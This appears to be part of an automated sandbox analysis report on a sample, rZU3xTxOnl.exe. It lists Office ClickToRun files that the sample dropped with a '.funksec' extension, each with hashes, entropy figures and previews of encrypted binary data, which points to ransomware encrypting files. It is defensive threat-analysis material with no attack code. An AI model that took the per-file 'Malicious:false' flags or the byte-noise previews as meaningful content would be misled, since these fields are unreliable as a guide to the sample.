                                                                                                                                SHA1:EF65F361ED41E55F0A5105869ADEE90C2240B853
                                                                                                                                SHA-256:25CB35C14987B942A50161232DE8FCD0A16B04F25AE3E7E3F47A6FDDCDB0037F
                                                                                                                                SHA-512:A56D7E85502A5737C4A6970A2FE4BE11CF798C5B2A4B08AD78D4703BBB7E7E671FF84456C1DA38EAF4F137E91BB9AF76974CA8CA9311D1F0FF9EC6555BE7F353
                                                                                                                                Malicious:false
                                                                                                                                Preview:X.A~gqk.c.....':.px.X.I...v?'..j8.k.....^....'.8..^.P.w....9^.%...P..*..%5...6n...((..*o\....K.... :.V.2x.......x/AKE.Z.S.2.1..7..".b....6...Mls.:.&<!....&..6.}...D.no..#.K.....#..R)M.d.b mS.....4uP6.....$.....*k..I...M..0..7.H^..Y..F>.Q. ...Y.Ym. .*..+._2....K.... :.`.2x.......x.AKE.Z.S.2.1..7..".b....6...MBW.?.&< ....".......A..b..6...............b.:/...nI^H..l.a..S...8..\..p.@;...`V,.D....@..+......8n.$.((..*o]...SK.... :.`.2x.......x.AKE.Z.S.2.1..7..".b....6...MBW.?.&< ....".......A..b..6....,.P.......;..P....g'..z}\.......r$Z....(>..2.@;...fA..E...r%.yZ..qp...L..J.MP..C.8...:'...2d..7-.a7...y......].*1.)....s.t&.v..g.2.p.....%.>c..hhe.k...p.K........-..x[....6xAs......'.G.)dN.-.....Y.E..q..T2..}..7...*.Ol....."C.=...6..^n..W5.... .h..z..o=....s....u..I_.L.|..~.....X..........q.}J.c..l.!.W....>b.Ik.ayr.j...w.R.......7...j...O.....B...6z.\K...5i...6.,&..Mw.u....0./..q%X...??H.d..sl.^J..,<.../S.%.AF..R.,....*...o..Xe...Z..*...

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\MasterDescriptor.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):49214
                                                                                                                                Entropy (8bit):7.937738644196243
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:bKSM0Hz9NiZGs/iKFCtKy9WoZa+4vE+yxDoW4dJE5Z1Q6xSc8kt1vjxwZmNcx:bfMSvw4R1TWEzRx5w6xlhjxwZmGx
                                                                                                                                MD5:FE1CADE6EDA40700297AC91A85980292
                                                                                                                                SHA1:E2BDF7FD3EFD1F4CEF7417F8A51616FC694A434A
                                                                                                                                SHA-256:9A9CE1046B2C7E086B8E67AF16EE5CD065BCFC22E16AF884FB452C5BD35CDC3C
                                                                                                                                SHA-512:57381A13568B1ACDC2F06D15137C7C891A9231AE3A03500EBC8D366A3D7CBC0B026CDB60E7C692AFC0698F9C500779DC0082A002A6A4051EB9D058909C34B81D
                                                                                                                                Malicious:false
                                                                                                                                Preview:.\....F....S....G..=.~M...|...K.......D.>.........Wo.n{...).Vc.2gD...|.6...X..=7~.-.;E.Q.;..O>X;E.....e.P..~z.W._...3.Z%.",.......+...,7\..w...0..u ..C.....>..O.Hm.UW..<...K.~5.|..||.GI.+...p..r.K(..J.7.:.J.jx..C.&....q.]..a..f..t.5q...p.6......`c&.z.9.d:.#..Q..uN........O..9X.].P]..i..mEfy.....x&.^8.5\.e..A\b..@!.v,.R...!..~.]9.F_.\q...T.k.Srw:-k.&n...cy..)n.....,..<...V..z&...e....c..2..d..!.TS.,x...S>8...m.."6e.#Pj.W=.#..C!9,.....P.R...5...R_..'..jXsq.....iG.@fOt..mY...!..c .c1......l.....a,._[.Km.wq...;C...q.....uD5S!.AcY..#..W.s..P.P.^.kf..G(.22.Y..2...'..r.`]i...=W}..E..|+:.%[|.k..#..|9r'....p.I.~{.3.....9.+{Z*.......\k..iB*^..C._qH..0s.&u.G..)..7..m....."...K.~C.......0.K..wAA.,f=...O.I...X.M...Q.:..!mtv.%../......-.nl...;.)......Xs7.j.9.ug.`...V!9,.....>.R...........u..o.6Q.D....iz.AeR*^.4j.=.$..s6.0..^...).....;m....."...K.~...L}Z.`.(.=s...h}.g.FE>....&..~...j..@.n..N........d.V5.|DL..9Q8......16{.2./."..l.._.d%.......1O...4X.].P].

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\stream.x86.x-none.db.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):2377177
                                                                                                                                Entropy (8bit):7.999866325096372
                                                                                                                                Encrypted:true
                                                                                                                                SSDEEP:49152:31UQTmM07Bb/P+ZlPy9coOdwibtIcPT3Enqr/0l0PhM07sSc:3WQLoDPvbOdfT3EgJpK
                                                                                                                                MD5:8BB120460B714F3571AFE6DC4475CD3C
                                                                                                                                SHA1:EDE51750906BBE5F620953378B2C55BF9927D059
                                                                                                                                SHA-256:97B32814F3565C85B8D0FDD08BC00915B384C3262F03086D49AEBCB129734395
                                                                                                                                SHA-512:7C758781568E5DEF4E6B0C6180357A5676B1810ED768F678480E686B33F81A9ADD40AF7E7DBD765BDD1DA82D43AD2EBE2D0A8A4056CBE15A4BE1DFC4FE478173
                                                                                                                                Malicious:false
                                                                                                                                Preview:......4.ww.ek.....Zi..b1.x01..Q..E.... ....w...i+..d.X.g.*..t.$C-....#B...t.....A........Yj_..s..7..-.>6.)...?c...t._..V.3.I$.|.c.]..Z....[..a...J...a.k-\..L@E.%.R.. ......c..\...+.,....J...#=..r..k.TU..f......E./......$.[.znb...7..\.L.p.5..HI..&.p.:..>....T....|..b.K..}.~.(.F.DT........gY.B..V....F....J..kKc.F2.d..T.....M.[(J.V........(y...].}...r} ^..B........lz...K?k=,V.c),j.]...!h..7x..0....MG)...n....5.1....`..C..._....#Zk.i.3t.(n.~...._.@....zo3...7.,.J/'.G...=Q..i.......!K..A..B}..Z.L.)f./...R...HP-........F....q~...m.[x....W....Q.2...hd.M...>p..j@...".Y............!D...~.F.!....D.?mh......-../....hX.ceS...:..%..9v.BW.Q+Sf..i.jyR8.k.w.;..\...|$Hw..\!....N.... ..jv....T..r....d..^...#..>...;c$D.j...a..;2.f..i^.-?.....Q.D...'.W....}"..2;..@....`X@w.4o.:..;.S.X.oR{....Y...wdf<w).:..}.c ^|.. ".{F.2.Ab..S.f.....dA.Y[.y.....[9v.....F.'...R...<-3:^._-.=..Q...)..Q...Y...s4.z:..,G....S..]8}...X..X..V.?..i...h....H`x^/?....Z..Z.Uv;.

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\stream.x86.x-none.man.dat.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):6080932
                                                                                                                                Entropy (8bit):7.723501284108259
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:49152:v2SHIL0Kd5tUQRzpPlnegPzUdbUrgKxrS8rZljTEUzYlVVmHxOFm/B1+AetWVFgs:Vg9ZRLeqDHPjhYlexOFuDetGAOts5G
                                                                                                                                MD5:9400526BAC782F8C8DDBDA5188D336DE
                                                                                                                                SHA1:851C37622243352090E7D07D27A12EA6B1F3E107
                                                                                                                                SHA-256:1AF56B9F1F0B656AD6DEE5F1A1323646FD6E9797BE9C5948F2182A9E85D6C749
                                                                                                                                SHA-512:7228828111557DB67AC8811DFAA5A2A96F62E7EBA3C9458EFA65D16E9BDADFCA67D9847A88658393FA6E891434F7DA017135A2F267BBB170680E0665591313FE
                                                                                                                                Malicious:false
                                                                                                                                Preview:(n.....R.........G.B..K9...9<....B...Sv.. .(.4.a"S..?....<....l....I.y.s...........y.0.4..*............C...w..t.!.....]..H...@.Q..@..<....V...C.......r."^...=P[.X.l[.O.J>..\,.I...8P.O.!...m.z...s,....|.J..S..)Z....,....N.....<...A...ZP..d^...D:U...y..^0.I*{.........7.;.....D.l.z.8..&...&J4.s..O6XT>9l.{&..........D...qH$9.+..k..&=:..5..y......c..O`.=_...(.7.P.:.n...J..X.(.h.P...tHu....<......l...8`.;.s....i.8...y.+.42............7...;.....D.l.z38..{.t.^JQ..s..<6.&.V...R........r."b...yP..w.|[..^.I>..s,.I.../..E.4<...y%!.8*..e@?.Q.^.WW..s.-E..H.h..V..<....\.....P..z^....:\.....X.@.R*.........C...O.....D.6...&..H...@.Q.s..S6pT#9j.m&..........E...cH=9.+..7..&x:}..5A.$....2.R...f..D...3.y.i.K.ie. Q.%.?.f....?...d..b.d....l.....83.y.1..i\8...y.+.4c.X.........7..;.....D.l.z.8..e...3J|.s..R6)T.9s.y&..........A.../H<9.+..i..&;:...5@.%.......o?...n.J.....|E;.{.#y.^..=..){...C".......>.<....p...8P...^....:L...5.B.W.k*.........k...O..y. ....

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):93204
                                                                                                                                Entropy (8bit):7.692314228040291
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:OMx1X2ZfBJdOFJqnmGzAwa+w8HS87AUD5Loe59byo3T9p5u4GyzvmapILaCTnA0c:OaR2HGFJqnhzJa+w8HSTU1H5vT7jGyzR
                                                                                                                                MD5:8F5F1529CF910981B76AC3E7ACB2BF16
                                                                                                                                SHA1:564A4CFE2255974BDB39C370E984318896CC984F
                                                                                                                                SHA-256:6418B7A495AC87BDB2F51E0D7C9BE358C9B67E1E7D308D94C0A59B1DC89DB8B9
                                                                                                                                SHA-512:7BCEF52D9EC50C430C440466D5BE7C015DA07D17A754EC5FF534FEE6FA148A0A8C8BC541D3D6EA83A715BEFE376C2D12D968C4AEBEB2C38851FB94878164DE04
                                                                                                                                Malicious:false
                                                                                                                                Preview:.U..{.`....Q..:.!....d.:..x.o.)R....2xx...|R/...<....d[..+....YV..9....(.y...5.N>..C.....^..VN..&5.?Z....M..f..N...L..k....4V..y....1f..1..O..G0......\8.}.....].}..1..X .........4....D.gp.jTV.... .J...9..Yiq.]e7..ICI.....~#.p.:.+.....VA.).M..(.y..U5.N...C.....^..YN..s5.?....+M.8..N...Lu.y....FVs.&....lf..l..O..K0.....\`.........}..L.}X.......@..'..#(;.0S...Q...|.-.r.P.6{...s.$ib.$$..)...G.:.+...YV..v....(.y..)5.N#..C.....^..}N...5.?[...rM..`..N..SL5.P....kVB.{....^f..d..O..g0......\v.H.....p.}..g.:Xz.......j.bE..X5.//mw~$.5k..[..W......P....=n.Sk.J.X$;...:.+.....VB._.M..(.y..S5.N}..C.....^..DN..w5.?....ZM.<..N..}L8.......pVW.7....Uf.....O..I0......\}.^....\.}..g.aX.......F.).....>...S{.M.R...<...~....y..'..$.5Y.<.......:.+...}V..$._..(.y..Q5.N...C.....^..LN..v5.?...._M.%..N..}Ls.......0V..o.....f.?..O..Y0.......\h.i.....X..}..g.aX.......\...tR.'.!..reFK.^{...I........Rk.H.y.kz8....:.+....uV2.Z.8..(.y...5.N5..C.....^...N..*5.?\...9M.K..N..zL..

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):23356
                                                                                                                                Entropy (8bit):7.70180607244446
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:dwSQKga3jUfoyVyDtmtt4GNKWKJuKasAwWaWfrfYKTmxc9CHAgtaNdo/4BPiI6F/:qSBAlemX0A7fbmC9CHA/ogdR6FKv0dqu
                                                                                                                                MD5:130BA67F92DC4A311C9D6B66F0B260A8
                                                                                                                                SHA1:5CC1C62F190736C73DFDD4D52A5F49118A4C3598
                                                                                                                                SHA-256:853FCF3B22A1A96A8AB0BF97C22BC701AC524F18B19369E711500B2DEA6C900B
                                                                                                                                SHA-512:DCFBB17B4A0D516D19C5499F2C2701220553D9A5E1990288629F1B148FF6FC9E013D8E0418C64967FECD6511CB4DB687E247EB03CA6DF507430A16A7439FB198
                                                                                                                                Malicious:false
                                                                                                                                Preview:R.../.......@...>..|}..|.Q.{.......tt}F....\p.r....J.......Gm...A...~.j2.[.......6a.....,......v=... .hb.......?.K..:.~..^...b........l........q.cas>..Z?.[=RT...~..._z.s|i...yI.m...S.I..BZ&..'..;..B........u...kk26.^.3......G6.D.Q...+.52.[I.....6s.....,.....(=.. .h;.D.....-....:.~.,....b..@......l.........q..;a.>...?.[ER=......._l.:|$....]...I-..!.........N....)j.9./.<K=3dw..R.%.....Ge.......t.v2.[.......6N.............k=... .hN.....W.s.m..:.~..O....b...-......l..?.....q.&a.>...?.[xR...._..._|.:|k.c..8...t....2....;.HN.v...3}k..0.6.a..6.t.k..7........Ga.......;.S2.[.......6&.....9.......\=... .hY.;...`.\.S..:.~..#....b...._......l..U.....q.1aL>..Z?.[<R....U..._z.*|..........P'd.'......^.gvq.......$.."#G<....E..........Gc...P...G.U2.[6.....6......L.......K=... .hj.......I.l..:.~..O....b....]......l........q..aam>..A?.[!RP...\..._{.l|k.bG.YI.1;..[....Xo.(.f..{...1.J..~O4 8J.v.lHy..........Gf.......&.:2.[A....6N............}=... .h........O.q.

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):238848
                                                                                                                                Entropy (8bit):7.719964008549801
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:6144:2LEi1I4ybWiVRznZ5FTIBPvovtey+JESsPOMA3tWA9mDe:2NOZV7A8eLEtOMA9QDe
                                                                                                                                MD5:BB0F23F2C6E21596FBFA19797710BEE5
                                                                                                                                SHA1:4161CE702C1BEA245DDDFE2DAC46CA5F8CF39255
                                                                                                                                SHA-256:2661F8A65B44DF99EB7DBC9D43E87A3563CB9F800D7044AFE0CA00F53A91D04A
                                                                                                                                SHA-512:C85725813CAFE796051A96D1CC8CB54B1A27E1AA69A122BD4CBA289940A3E4489C850678ABB3202F5E3B9440BE0B5C682BB3023750A2D15C0B0CCD9DB3266C1C
                                                                                                                                Malicious:false
                                                                                                                                Preview:\.._idY........'..Pi.yu;.*(.V..PR.. *gk......0K...&.8...O....w.G.5H...t.y.S....f3U..vF.'..u_..g...G..P.u.L..:...~b...[Y....RX......[9..q_.T..9.....F......9..*.E...m..`U....;...^.>.;......6...g=B..y.t.d.,...2.I...I....9D.J...Pw.GQ5X...!.&.......N3E..vG.9..uP..g...G...P+u.L..m...~....[Y....!X.......[_..q{.S.. ......F......t._*mEs..m._U......;......{.I.-!uA....V.O.......H.3.B..........'L...w..w.G.5....t.e.T....{3...vz....ut..g...G..Pru.L.......~G...sYQ....X....]..[_..q|.]..=.....F......".(*.ED..m..:U......;...b..?V....P.....I.&.@..>Sb.....7.......3*..D...Lw.GR5....<.?.......%3*..v1.H..uM..g...G...PZu.L..n....~J...=Ye....X....N..[V..q2....*.....F......3.C*@E:..m...U......;2..V.^.X.K....J/;......C...~.v..Uh.........K.:.P.\w.G.5+...%.>.e.....03E..vG.0..uP..g...G...P#u.L..o...~....(Y....'X.......[...q-...."......F......t.C*@E?..m..{U.....;..."E.x.H...g.E.s..-...j.B...FU$_..e..........6.l."w.G-5....}.n.S.....C3...v1.`..u...g...G..PRu.L.......~x.

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):129894
                                                                                                                                Entropy (8bit):7.689977989247968
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:xeyBlHbKvn8ciPzIqGtatRpR5SvYkkwbiN8h4rpX/2+bpIN:RBVK/iPGatH/S1ArwuE
                                                                                                                                MD5:6FF26DC1994EF76CEEF4AA168B65462B
                                                                                                                                SHA1:AD623D0C1956D4D78C8BD194454412EA07E0C94D
                                                                                                                                SHA-256:AA4D3E9D2CA31C931EF2CCB0A118B78C11195EC2A95E3BFD9C8CFF1133B5D124
                                                                                                                                SHA-512:EBEB17894EC3ADD992EC2B49C0641CDE259755B6A6344E25055D868C027C554A7092B99E1A156E1B223F64B109CF17A21D425FFD0252F4D742D59F0A740C0C28
                                                                                                                                Malicious:false
                                                                                                                                Preview:......IMV...Zv'+d..0.....A.6"k5._=..H.3....F.\^.....].`.7.Y3t..:.......V.....'......G].;....T.....TF......l........?.|..L|.....t...BE<...-)...[A5.u|.....a..... ......Bf....lw\.g0V[.....oR.u...z...._..Q...Qb.s.[...A.E...e.7...3(..:...\.........7......G].;.A..T....T........~........?.|...|.....t....fE;...4)..[.5...|.....a...a ......B7.....h.1..V...'tQ$..B...4.k.S..._..c.%..q2..,/.s...4..7.Y3h..:.......s.....n......~]+;.!..T.....T\....J.#...*....?.|..N|....t....aE5...))...[K5..@|.....a...J ..X..Bi...N.%s.f.)$4.my.$....P..n.e...>Z......M.g...I....V..k.7...3+..:...E........X.....Z].;..E..T....T............g....?.|...|....t..../E....6)...[L5..W|.....a..... ......B4....+.;..X..EQ..%...q..oF.7.l./..].....,......:H...r..7...36..:...S..|.....j......]V;.....T.....T........{...p...?.|..+|.....t...?E....s)..[.5...|.....a..._ ....Y..By...:.0.Gk...v{tQs..b..cs...u.t..[#dq....&..'.n....,..7.U3l..:...S..y.....n.....J].;.....T.....T@....c.'...

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1512
                                                                                                                                Entropy (8bit):7.616714264872702
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24:VIbdjG+Co0fdFi2S8NeLo8RUlQkLVFvSmv4zfXtfdf5YvWQW:VIPCoES8N35FATXVYxW
                                                                                                                                MD5:B919FE9D313CE9144FF34D008A0E42EF
                                                                                                                                SHA1:7AF736ED0DB8F823CF0B94FB2D9BD6B3E89786D7
                                                                                                                                SHA-256:98AAD627B6C98A3632142129B26BB28E14DAEED69860369515289A2DE8AF4BFA
                                                                                                                                SHA-512:D508592D12EA302E8E64F507E7FF0B7FED80B4406A7009C8137080D190D8F8B7BE109D3865F9023A695750D1CBD6F37E40DF0BDCA1A3C2B6D68EBB1B91ABD9CD
                                                                                                                                Malicious:false
                                                                                                                                Preview:..!.i.}..&.@Dx.....n;bL....k.^.1....o...J.9k..Q...uyR......@L......A...n....=.U.B%....d.Y.W..{.K....L..i....p.d2...=..t..2v.Ha....Q.h.J...b..D_.,b......7..$.s..\.0Yt...#9z..ya....(....._u.e....`......:S;R. ...;...p....$.[.]8l...LQ........1.H.Z=.U.B5.....z.Y.X..{.K......i....p.d ...=..h.i2...a............e..DF. b..8..._..$.s@.$.YY....%#8z..1aO.."F...V........W.qP..0.....KoM....W..5T.......-l...\L#.....V....r.c=.U.B^..F.>.....{.K....W..i....p.d....=..8.^25..a@...........v..DQ..b..'...(..$.s-.b..YM...#3z..daz..{..z.....N(.$3....n!.@..h^."?.#......r...J."l...VL...........r.c=.U.B....d.%.....{.K....W..i....p.d....=..-.c2$.Wa..P.n.P.D...4..Dp..b..+...#..$.sJ....YC...N#ez..ua.........N....'*f..z.x....@'x/..e..,.,...N..53..vl...LP.........%.:.S=.U.B&...........{.K....M..i....p.d...=....O2!..aP.Y.9.\.{......D..bb.........$.s..e.:Ys..H#Pz..Ma#.G.pk.P....m.y.{.1......fD9..l.})....r.Mr.....V.l....UL......R...h.4..=.U.B&..-.C.`.|..{.K....S..i....p.d0..

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):2196
                                                                                                                                Entropy (8bit):7.640008663410943
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:GTi5VeWZ2tFMukvR3PhOJ78AcsBaqK7nV1mPireZRBrcdjWv:GTimRmbo98A1BZoV13r2BH
                                                                                                                                MD5:FC5EF53824FF24191FBB250F8B1AB58E
                                                                                                                                SHA1:EC9AB8785AFAA3C36B0FA1E23C9CA822D6F12AE7
                                                                                                                                SHA-256:5470F7164F30D3AC63916DBC263E7B879BBE5BEB5A0145E9B88A873F7F4631B6
                                                                                                                                SHA-512:F4DA75E7F76904A7A04F6569D19FCA43147A87FEA75A50B054061EB2BA574A895E4A66BE0BF1C31C6BE1D4B78AFE6EABC88DB935E20BFDFA23E9BC0F1CBD71A3
                                                                                                                                Malicious:false
                                                                                                                                Preview:hM...3....-9z.W;.Yw5.@...+v\..f......K....d.......>...%.Q..........Tk.@.....h.....q.../H.E........}]z.Gj.......UY.....dD............E........Z.N j(..^Em.~....V=...A...^m.\....QT..y...}Q......<..6..0..H.F...+..p.h.P..F..Q............T4.....^.@.....q.../G.U.....Y..}.z.G4.......0Y...d6.d......Z...........Z.Ngjp..^.m.~....?=g.rA...^y.......D.&"^,|r........9j.).#.17J...k*..).c...n.W.....Q.........T..9...g.:......qA../..........}.z.G......;.<Y...d..T.......L...........Z.Nxj*..^Dm.~....\=.. A...^P.C.......eA.........t....3.C.....?7.a~...w..dav5...Q..........T'.>...g.......qv../..........}Mz.GG.....B.oY....d..h......q...J.......Z.NhjI..^.m.~.....=^.{A...^L.Q...V.+Z..v.-..[\.+..v..;.VE.K.`..<.........t..H....Q..........T_.....,.{......q.../..........}Wz.G:.....;..Y....d6.N.....B.d.........Z.N*jf..^Ym.~.....=L.5A...^>.X.....kq......m.....%4;.8 vA5:...+5I}..e`.G.rB.0..Q...........T-.....\.+......q.../.. ....P..}.z.G6.....q.}Y

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):139890
                                                                                                                                Entropy (8bit):7.711386072644627
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:kiE/SKLtrPKeeL9fkdW+SenwNcJBEqfdanJYDYgpwxU6EXm3oS8:tENkeeLRkdW+SenvUJYDB1Xeor
                                                                                                                                MD5:03EB79F04D050F390CFB9241E800E677
                                                                                                                                SHA1:9F9BEE77E994EAC6517312B046B0FC6EDEF19122
                                                                                                                                SHA-256:FB9FD13298D636C71205DE785A19CB4026867143ABA017F7460B498FAE443D31
                                                                                                                                SHA-512:4544FFFF3F696666C2590FFD5E370A423EC7D7EEB73CD5808FA276728159066B1AE52A98BB5E744CA27E96C8BD1BB8E3BB8C945398F3B42A81255008289BC8AD
                                                                                                                                Malicious:false
                                                                                                                                Preview:.h.S7KO....H.}..g..j.......ji..T..%....uB7.jV.F./-......>...m.j~vs.9....Q.i..k.M.i....zv..S*..............Gh...Z.jQ..@H...35R.....!.W./...#..`.mo..F}b|0%<$.F....x.R\K.D.....a......5+.u. .d...m."U. Nl$.s..l?..Z.i..k..>!.Em.j"vc.....Q..0..k3M.i....dv..C*..........J...Jh...H.jQ..2Hr..3(R..D...|.s./.../....`.m...F0b&0]<M.;...x.R[K.D...~0.D.n.......+.....E`.^.m.%..X.......2*....M.c..>R..m.jbv<.!....Q.L..k.M.i....^v..O*...............h....a.BQ@..HC..3ZR..v...t.t./.../..`.mZ..FfbQ04<z.....x.R.K.D.....K........0^./T\...Ty|5.&m.....>..D. .bG,..b.%..> .Ym.j!v.......Q..6..kXM.ix....v..2*..........N...Mh....,..Qt..HV..3cR..}...o.:../...'..`.mZ..Fwb`05<e......x.RIK.D..p..iu.......24._dG.....B<.zf]..f.....@.F...*ru..>e.=m.j/vq.4..Q..F..kMM.i.....v..K*..........;...Jh...:..Q..7Hs..3KR.&..._.C./.......`.m^..Fsb%0r<e......x.RMK.D..yVf.....%..'.m...;.#/......Ju........v..^.u.Cu..>3.;m.jwv.. ....Q..i..k.M.i.....v...5*..........9...3h....

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):150322
                                                                                                                                Entropy (8bit):7.66595871229621
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:nDjSNh7yyUmjpDm90KrDXJNJ/dAbz0Z0pHu0NLNKoloBic:n/qVbpG9Zj/dvm1LNtU
                                                                                                                                MD5:43989ADB890B3E549664EBEF4C838310
                                                                                                                                SHA1:A7744BF1C8202A71B2E95D4FC0A52AB4DDD11D6B
                                                                                                                                SHA-256:BFCA03B9FEF3327D5CF36D564A2FEECA68005FA9DCF59E4F238A18BFA53542D1
                                                                                                                                SHA-512:0EA9D8AC3E2E3A68C83B9F419BCCA87CB2FEADC57475792AF16B0AA715E68BBD931761282AE0E026CF76B45A9EB4596B3309266370CF16FFE43646ED0C2DC0AE
                                                                                                                                Malicious:false
                                                                                                                                Preview:D..i.....cWi...h...-.......5.^..Zj..U./...f2.Z..../.-..?.B...^.`..N...!-...3*r...2.._.......,I.V2/Ok ..K...7|;/..BeW#....P9..z...o...A....IDg..<J3..6..".S..\3...0.L}Z=Q......=..g3.e&^..8..t..j-...5......qP.U..P.9...n.T.}y3!+. G.....;..^.E.t-.3sr...2..M......,Y..2qO8 .....i|l/..Pe2#....L9.....r....c.HI`g..0J*..6..e....\w...j.4}3=,.x....=..63Ge.p.s.hd1q.5.`.c...6".).7.t.5.j..i.u)".#.4..T... ....I.`......!-...3.r...2..C.......,U.c24Oj .F...1|./R..er#.....9.8.........c.@Igg...J7..6..(....\/.....]}.=..?...=O.h3me;%.`.f......[..z....'...U..^3<:.S...8.S.E..H.. I.....8..(.E.i-...3ur...2..8........,(..2.O< ..n..m|o/..#e.#....,9.-...9...%.j.[I)gY.0J-..6..(....\o...,.\}.=.......=..53@e\vW.'.....'a[....GM..q1Ao%..7.......@J.E....J.... ....o.i..L...v-...3.r...2..9......,[..2uOM ..l..`|i/y.Pe/#....99..x...f.....=.oI&g..}Jx..6..7.7..\5...i..}.=.......=../3\e.-W*.../."3..5K.x..v.8\q|..r%.F...../.L.>*6..?. C..i.X..".:..-...3*r...2.._.......,/.Z2-Om ......|./t.$eN#

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):6172
                                                                                                                                Entropy (8bit):7.662406902192029
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:KnLPazI+VaXTargFcK75vVFQw/pRSguq6uk5x7DXRen94/YQ5JqFQ5gO7A:KrWI8ajDcK7ZVFRMuGTRenC/9kOs
                                                                                                                                MD5:FCE0FE5F528B76ACFB8E6A8213E8276E
                                                                                                                                SHA1:213E0901A8F8C349F1A4F86E7F7BC308B6DE1B5B
                                                                                                                                SHA-256:4877703C85780497A1F402025823E534B0171986A853AD46612E1091FF9159A7
                                                                                                                                SHA-512:4191DA4B8C15489C76BB2E051A0907C803EFA8B56C4578F4C4D2CFD2234DA71B0D6F979AAF54AB6FBC09D2A54A0A38E4008B2CADFF1843949F47B5FC8443B2B9
                                                                                                                                Malicious:false
